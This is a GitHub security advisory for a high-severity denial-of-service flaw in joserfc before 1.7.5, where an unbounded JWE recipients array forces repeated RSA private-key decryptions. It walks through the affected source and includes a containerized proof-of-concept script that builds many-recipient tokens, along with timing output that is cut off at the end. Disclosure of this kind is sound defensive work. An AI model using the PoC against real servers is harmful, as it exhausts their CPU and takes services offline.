GitHub Advisoryadvisory · PyPI

GHSA-jpxq-7h8p-2q76 joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption

HIGH Published 2026-10-30 Modified 2026-10-30 Official page ↗
Aliases
CVE-2026-119283
Ecosystem
PyPI
Packages
joserfc
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400
Reviewed
2026-10-30

Affected packages

• PyPI joserfc: < 1.7.5 → fixed in 1.7.5

Description

Summary `joserfc.jwe.decrypt_json()`, the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled `recipients` array of unbounded length and performs one full private-key decryption operation (`decrypt_cek`) for every recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, `verify_all_recipients=False`, does not reduce the CPU cost, since the decrypt loop attempts every recipient's `decrypt_cek()` unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High). Details `joserfc` validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside `src/joserfc/_rfc7516/registry.py`, but performs no validation whatsoever on the number of entries in the `recipients` array of a JWE General JSON Serialization object. Data flow (source → sink), verified directly against the repository source at commit `26a10275e88276184f91ae2a6409647bfac7fea5` (joserfc 1.7.4): 1. `src/joserfc/jwe.py:214` — public parser entry point `decrypt_json(data, private_key, ...)`. This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON. 2. `src/joserfc/jwe.py:238` — if `"recipients"` is present in the input dict, `extract_general_json(...)` is invoked. 3. `src/joserfc/_rfc7516/json.py:84-86` — iterates `for item in data["recipients"]:` and appends a `Recipient` object for every entry, with no upper bound check on `len(data["recipients"])`: ```python for item in data["recipients"]: recipient = __extract_recipient(obj, item, registry) obj.recipients.append(recipient) ``` 4. `src/joserfc/jwe.py:252` — the private key is attached to every extracted recipient. 5. `src/joserfc/_rfc7516/message.py:103-112` — `_perform_decrypt()` loops over every recipient in `obj.recipients` and calls `decrypt_recipient(...)` for each one, regardless of how many there are: ```python cek_set = set() for recipient in obj.recipients: headers = recipient.headers() registry.check_header(headers, True) alg = registry.get_alg(headers["alg"]) try: cek = decrypt_recipient(alg, enc, recipient, tag) cek_set.add(cek) ``` 6. `src/joserfc/_rfc7518/jwe_algs.py:74-83` — for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation: ```python def decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes: key = recipient.recipient_key assert key is not None self.check_key_type(key) op_key = key.get_op_key("decrypt") try: assert recipient.encrypted_key is not None cek = op_key.decrypt(recipient.encrypted_key, self.padding) ``` Confirmed by direct inspection of `src/joserfc/_rfc7516/registry.py`: size caps exist for `max_header_length`, `max_encrypted_key_length`, `max_iv_length`, `max_ciphertext_length`, and `max_auth_tag_length` (registry.py:52-62, 103-121), but no `max_recipients` (or equivalent) field or check exists anywhere in `registry.py`, `json.py`, or `jwe.py`. Critically, the loop in `message.py:103-112` calls `decrypt_recipient()` for every recipient unconditionally — this happens *before* `registry.verify_all_recipients` is ever consulted. Setting `verify_all_recipients=False` (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does not reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between `verify_all_recipients=True` and `verify_all_recipients=False` for the same recipient count. `decrypt_json()` is not a demo-only or admin-only code path: it is documented in `docs/guide/jwe.rst:156-182` as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 `p2c` iteration cap (`src/joserfc/_rfc7518/jwe_algs.py:237-239`) and the JWE compression "zip bomb" size cap (`src/joserfc/_rfc7518/jwe_zips.py:11,26-28`) — indicating the recipient-count case was simply missed from the same class of hardening. PoC Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source. Environment setup (Dockerfile): ```dockerfile FROM python:3.12-slim WORKDIR /app Copy the exact repository source under test (unmodified). COPY repo /app/repo Install joserfc from local source in editable/normal mode. RUN pip install --no-cache-dir /app/repo Copy the PoC script. COPY vuln-001/poc.py /app/poc.py ENTRYPOINT ["python3", "/app/poc.py"] ``` Build and run (source is used unmodified; container has no network access): ```bash docker build -t joserfc-vuln001 -f vuln-001/Dockerfile . docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500 ``` PoC logic (`poc.py`): generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (`GeneralJSONEncryption`) wrapping a small plaintext with an attacker-chosen number `n` of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API `joserfc.jwe.decrypt_json()` and measures wall-clock decrypt time, once with `verify_all_recipients=True` and once with `verify_all_recipients=False`. ```python def build_token(public_key, n_recipients: int) -> tuple[str, int]: obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello") for _ in range(n_recipients): obj.add_recipient({"alg": "RSA-OAEP"}, public_key) token = jwe.encrypt_json(obj, None) size_bytes = len(json.dumps(token).encode()) return token, size_bytes def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float: registry = JWERegistry(verify_all_recipients=verify_all_recipients) t0 = time.perf_counter() out = jwe.decrypt_json(token, private_key, registry=registry) dt = time.perf_counter() - t0 assert out.plaintext == b"hello" return dt ``` Observed results (Phase 2, inside the Docker container, `--network none`, unmodified source): ``` [*] Attacker crafts General JSON JWE with recipients=1 ... verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002 verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001 [*] Attacker crafts General JSON JWE with recipients=500 ... verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631 verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651 [*] Attacker crafts General JSON JWE with recipients=1500 ... verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874 verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=…

Related

Alias · CVE (1)

  • CVE-2026-119283 joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References